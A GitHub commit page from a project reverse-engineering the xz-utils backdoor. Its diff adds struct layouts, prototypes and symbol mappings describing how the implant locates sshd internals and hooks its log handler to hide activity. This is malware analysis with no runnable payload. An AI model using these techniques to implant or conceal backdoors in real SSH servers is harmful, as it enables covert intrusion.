Skip to content

Commit

Permalink
patch by guest2028461
Browse files Browse the repository at this point in the history
sshd logging and other misc changes
  • Loading branch information
smx-smx committed May 4, 2024
1 parent 5e736e0 commit 421b650
Show file tree
Hide file tree
Showing 4 changed files with 183 additions and 36 deletions.
2 changes: 1 addition & 1 deletion xzre.c
Original file line number Diff line number Diff line change
Expand Up @@ -195,7 +195,7 @@ void xzre_backdoor_setup(){
mprotect((void *)(UPTR(&fake_lzma_allocator) & ~pagemask), pagesz, PROT_READ|PROT_WRITE);

backdoor_hooks_ctx_t hook_params;
int ret = init_hook_functions(&hook_params);
int ret = init_hooks_ctx(&hook_params);

backdoor_shared_globals_t shared = {
.globals = &my_global_ctx_ptr
Expand Down
201 changes: 174 additions & 27 deletions xzre.h
Original file line number Diff line number Diff line change
Expand Up @@ -1001,7 +1001,8 @@ typedef struct __attribute__((packed)) imported_funcs {
void (*RSA_free)(RSA *rsa);
void (*BN_free)(BIGNUM *a);
libc_imports_t *libc;
u64 resolved_imports_count;
u32 resolved_imports_count;
PADDING(4);
} imported_funcs_t;

assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
Expand Down Expand Up @@ -1113,30 +1114,57 @@ assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
assert_offset(sshd_ctx_t, STR_publickey, 0xD8);

typedef enum {
SYSLOG_LEVEL_QUIET,
SYSLOG_LEVEL_FATAL,
SYSLOG_LEVEL_ERROR,
SYSLOG_LEVEL_INFO,
SYSLOG_LEVEL_VERBOSE,
SYSLOG_LEVEL_DEBUG1,
SYSLOG_LEVEL_DEBUG2,
SYSLOG_LEVEL_DEBUG3,
SYSLOG_LEVEL_NOT_SET = -1
} LogLevel;

typedef void (*log_handler_fn)(
LogLevel level,
int forced,
const char *msg,
void *ctx);

typedef struct __attribute__((packed)) sshd_log_ctx {
PADDING(4);
BOOL unkbool_log_handler;
BOOL logging_disabled;
BOOL log_hooking_possible;
BOOL syslog_disabled;
PADDING(4);
char *STR_percent_s;
char *STR_Connection_closed_by;
char *STR_preauth;
char *STR_authenticating;
char *STR_user;
PADDING(0x8);
PADDING(0x8);
PADDING(0x8);
PADDING(0x8);
// Note: initially the two pointers may be swapped around.
// sshd_configure_log_hook will ensure they're corrected if needed.
void *log_handler_ptr;
void *log_handler_ctx_ptr;
log_handler_fn orig_log_handler;
void *orig_log_handler_ctx;
void *sshlogv;
void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
} sshd_log_ctx_t;

assert_offset(sshd_log_ctx_t, logging_disabled, 0x0);
assert_offset(sshd_log_ctx_t, log_hooking_possible, 0x4);
assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
assert_offset(sshd_log_ctx_t, STR_user, 0x30);
assert_offset(sshd_log_ctx_t, log_handler_ptr, 0x38);
assert_offset(sshd_log_ctx_t, log_handler_ctx_ptr, 0x40);
assert_offset(sshd_log_ctx_t, orig_log_handler, 0x48);
assert_offset(sshd_log_ctx_t, orig_log_handler_ctx, 0x50);
assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
static_assert(sizeof(sshd_log_ctx_t) == 0x68);
Expand Down Expand Up @@ -1481,23 +1509,6 @@ assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);

typedef enum {
SYSLOG_LEVEL_QUIET,
SYSLOG_LEVEL_FATAL,
SYSLOG_LEVEL_ERROR,
SYSLOG_LEVEL_INFO,
SYSLOG_LEVEL_VERBOSE,
SYSLOG_LEVEL_DEBUG1,
SYSLOG_LEVEL_DEBUG2,
SYSLOG_LEVEL_DEBUG3,
SYSLOG_LEVEL_NOT_SET = -1
} LogLevel;
typedef void (*log_handler_fn)(
LogLevel level,
int forced,
const char *msg,
void *ctx);

typedef struct __attribute__((packed)) backdoor_hooks_ctx {
PADDING(0x30);
backdoor_shared_globals_t *shared;
Expand Down Expand Up @@ -2852,9 +2863,8 @@ extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
* calls get_cpuid_got_index() to update elf_entry_ctx_t::cpuid_fn
*
* @param ctx
* @return ptrdiff_t always 0
*/
extern ptrdiff_t init_elf_entry_ctx(elf_entry_ctx_t *ctx);
extern void init_elf_entry_ctx(elf_entry_ctx_t *ctx);

/**
* @brief get the offset to the GOT
Expand Down Expand Up @@ -3039,7 +3049,23 @@ extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, un
* @param funcs
* @return int
*/
extern int init_hook_functions(backdoor_hooks_ctx_t *funcs);
extern int init_hooks_ctx(backdoor_hooks_ctx_t *ctx);

/**
* @brief Initializes the backdoor_shared_globals structure
*
* @param shared_globals the backdoor_shared_globals structure
* @return int returns 0 on success, or 5 if @p shared_globals was NULL
*/
extern int init_shared_globals(backdoor_shared_globals_t *shared_globals);

/**
* @brief Initializes the imported_funcs structure
*
* @param funcs the imported_funcs structure
* @return BOOL TRUE if successful, FALSE otherwise (if the resolve count is incorrect)
*/
extern BOOL init_imported_funcs(imported_funcs_t *imported_funcs);

/**
* @brief finds the __tls_get_addr() GOT entry
Expand Down Expand Up @@ -3464,6 +3490,119 @@ extern BOOL sshd_find_monitor_struct(
global_context_t *ctx
);

/**
* @brief finds the sshd_main function
*
* @param code_start_out filled in with the function start, if found
* @param sshd sshd elf info
* @param libcrypto libcrypto elf info
* @param imported_funcs imported funcs
* @returns TRUE if found, FALSE otherwise
*/
extern BOOL sshd_find_main(
u8 **code_start_out,
elf_info_t *sshd,
elf_info_t *libcrypto,
imported_funcs_t *imported_funcs
);

/**
* @brief find a pointer to a field in `struct monitor` by examining code referencing it
*
* Look for a sequence of instructions:
*
* mov/lea [<addr>] -> reg1
* ...
* mov reg1 -> rdi
* ...
* call mm_request_send
*
* where <addr> is in the the specified mem_range. Return the address
* in @p monitor_field_ptr_out.
*
* In other words, look for:
*
* mm_request_send(pmonitor->m_recvfd, ...);
*
* And return the @p &pmonitor->m_recvfd pointer.
*
* @param code_start start of the sshd code segment
* @param code_end end of the sshd code segment
* @param data_start start of the (sshd) data segment
* @param data_end end of the (sshd) data segment
* @param monitor_ptr_out pointer to receive the address of the monitor struct
* @param ctx the global context
*/
extern BOOL sshd_find_monitor_field_addr_in_function(
u8 *code_start,
u8 *code_end,
u8 *data_start,
u8 *data_end,
void **monitor_field_ptr_out,
global_context_t *ctx
);

/**
* @brief find an address referenced in a function
*
* Note: There are some additional requirements on the mov instruction.
*
* @param id the id of the function to look in
* @param refs the string references
* @param mem_range_start the start of the range the address lies within
* @param mem_range_end the end of the range the address lies within
* @return the address referenced if the exepected mov is found, or NULL otherwise
*/
extern void *find_addr_referenced_in_mov_instruction(
StringXrefId id,
string_references_t *refs,
void *mem_range_start,
void *mem_range_end
);

/**
* @brief Validate that the two addresses are the expected/correct ones
*
* The addresses must be within 15 bytes of each other
*
* 1. Start looking in the XREF_Could_not_get_agent_socket function
* 2. Search for a lea refering mm_log_handler
* 3. If the next instruction after it is a call, switch to the target function
* 4. Look for a memory instruction referencing addr1
* 5. Look for a memory instruction referencing addr2
*
* So, looking for the call to set_log_handler in sshd.c::privsep_preauth:
*
* set_log_handler(mm_log_handler, pmonitor);
*
* Which looks like this:
*
* void
* set_log_handler(log_handler_fn *handler, void *ctx)
* {
* log_handler = handler;
* log_handler_ctx = ctx;
* }
*
* And the two addresses in question are log_handler and log_handler_ctx.
*
* @param log_handler_addr1 first address to validate
* @param log_handler_addr2 second address to validate
* @param search_base lowest valid code address
* @param code_end higest valid code address
* @param refs string references
* @param global the global context
* @return TRUE if all checks pass, FALSE otherwise
*/
extern BOOL validate_log_handler_pointers(
void *addr1,
void *addr2,
void *search_base,
u8 *code_end,
string_references_t *refs,
global_context_t *global
);

enum SocketMode {
DIR_WRITE = 0,
DIR_READ = 1
Expand Down Expand Up @@ -3656,6 +3795,14 @@ extern BOOL count_pointers(
libc_imports_t *funcs
);

/**
* @brief configure the log hook
*
* @param cmd_flags flags controlling the log hook configuration
* @param ctx the global context
*/
BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx);

/**
* @brief calls `sshlogv` from openssh, similarly to `sshlog` in openssh
*
Expand Down
14 changes: 7 additions & 7 deletions xzre.lds.in
Original file line number Diff line number Diff line change
Expand Up @@ -65,15 +65,15 @@ SECTIONS_BEGIN()
/* 0000000000002540 */ DEFSYM2(sshd_find_main, 0x2540 - 0x24E0) // FIXME: prototype
DEFSYM_END(.text.lzma_lz_encoder_memusaga)
/* 0000000000002760 */ DEFSYM(init_ldso_ctx, .text.lzma_block_buffer_bound63)
/* 00000000000027C0 */ DEFSYM(init_hook_functions, .text.lzma_delta_decoder_inis)
/* 0000000000002840 */ DEFSYM(init_hook_functions2, .text.lzma_delta_props_decodd) // FIXME: prototype
/* 0000000000002880 */
/* 00000000000027C0 */ DEFSYM(init_hooks_ctx, .text.lzma_delta_decoder_inis)
/* 0000000000002840 */ DEFSYM(init_shared_globals, .text.lzma_delta_props_decodd)
/* 0000000000002880 */ DEFSYM(init_imported_funcs, .text.microlzma_decoder_inia)
/* 00000000000028C0 */ DEFSYM(backdoor_symbind64, .text.lz_encoder_prepara)
/* 0000000000002A40 */ DEFSYM(elf_find_function_pointer, .text.reverse_seez)
/* 0000000000002B00 */
/* 0000000000002C50 */
/* 0000000000002B00 */ DEFSYM(validate_log_handler_pointers, .text.transfora)
/* 0000000000002C50 */ DEFSYM(find_addr_referenced_in_mov_instruction, .text.lzma_next_filter_inia)
/* 0000000000002D20 */ DEFSYM(elf_find_string_references, .text.auto_decoder_iniz)
/* 0000000000002FE0 */
/* 0000000000002FE0 */ DEFSYM(sshd_find_monitor_field_addr_in_function, .text.lzma_lzma_set_out_limia)
/* 00000000000032B0 */ DEFSYM(elf_find_string_reference, .text.lzma_auto_decoda)
/* 0000000000003330 */ DEFSYM(sshd_get_sensitive_data_address_via_krb5ccname, .text.lzma_lzma_encoder_resea)
/* 0000000000003670 */ DEFSYM(sshd_get_sensitive_data_address_via_xcalloc, .text.lzma_bufcpa)
Expand Down Expand Up @@ -127,7 +127,7 @@ SECTIONS_BEGIN()
/* 0000000000007BB0 */ DEFSYM(sshd_get_usable_socket, .text.index_decoda)
/* 0000000000007C50 */ DEFSYM(sshd_get_client_socket, .text.index_encoda)
/* 0000000000007D40 */ DEFSYM(sshd_patch_variables, .text.lzma_block_unpadded_siza)
/* 0000000000007DD0 */
/* 0000000000007DD0 */ DEFSYM(sshd_configure_log_hook, .text.lzma_rc_pricea)
/* 0000000000007E90 */ DEFSYM(check_backdoor_state, .text.stream_encoder_mt_iniz)
/* 0000000000007F10 */ DEFSYM(is_payload_message, .text.worker_stara)
/* 0000000000008070 */ DEFSYM(mm_answer_keyverify_hook, .text.bt_skip_funz)
Expand Down
2 changes: 1 addition & 1 deletion xzre_code/run_backdoor_commands.c
Original file line number Diff line number Diff line change
Expand Up @@ -240,7 +240,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
break;
}
ctx->uid = ctx->libc_imports->getuid();
if(((TEST_FLAG(f.kctx.args.flags1, 0x10) && !ctx->sshd_log_ctx->unkbool_log_handler)
if(((TEST_FLAG(f.kctx.args.flags1, 0x10) && !ctx->sshd_log_ctx->log_hooking_possible)
|| TEST_FLAG(f.kctx.args.flags1, 0x2))
&& !sshd_set_log_handler(&f.kctx.args, ctx)
&& TEST_FLAG(f.kctx.args.flags1, 0x10)) break;
Expand Down

0 comments on commit 421b650

Please sign in to comment.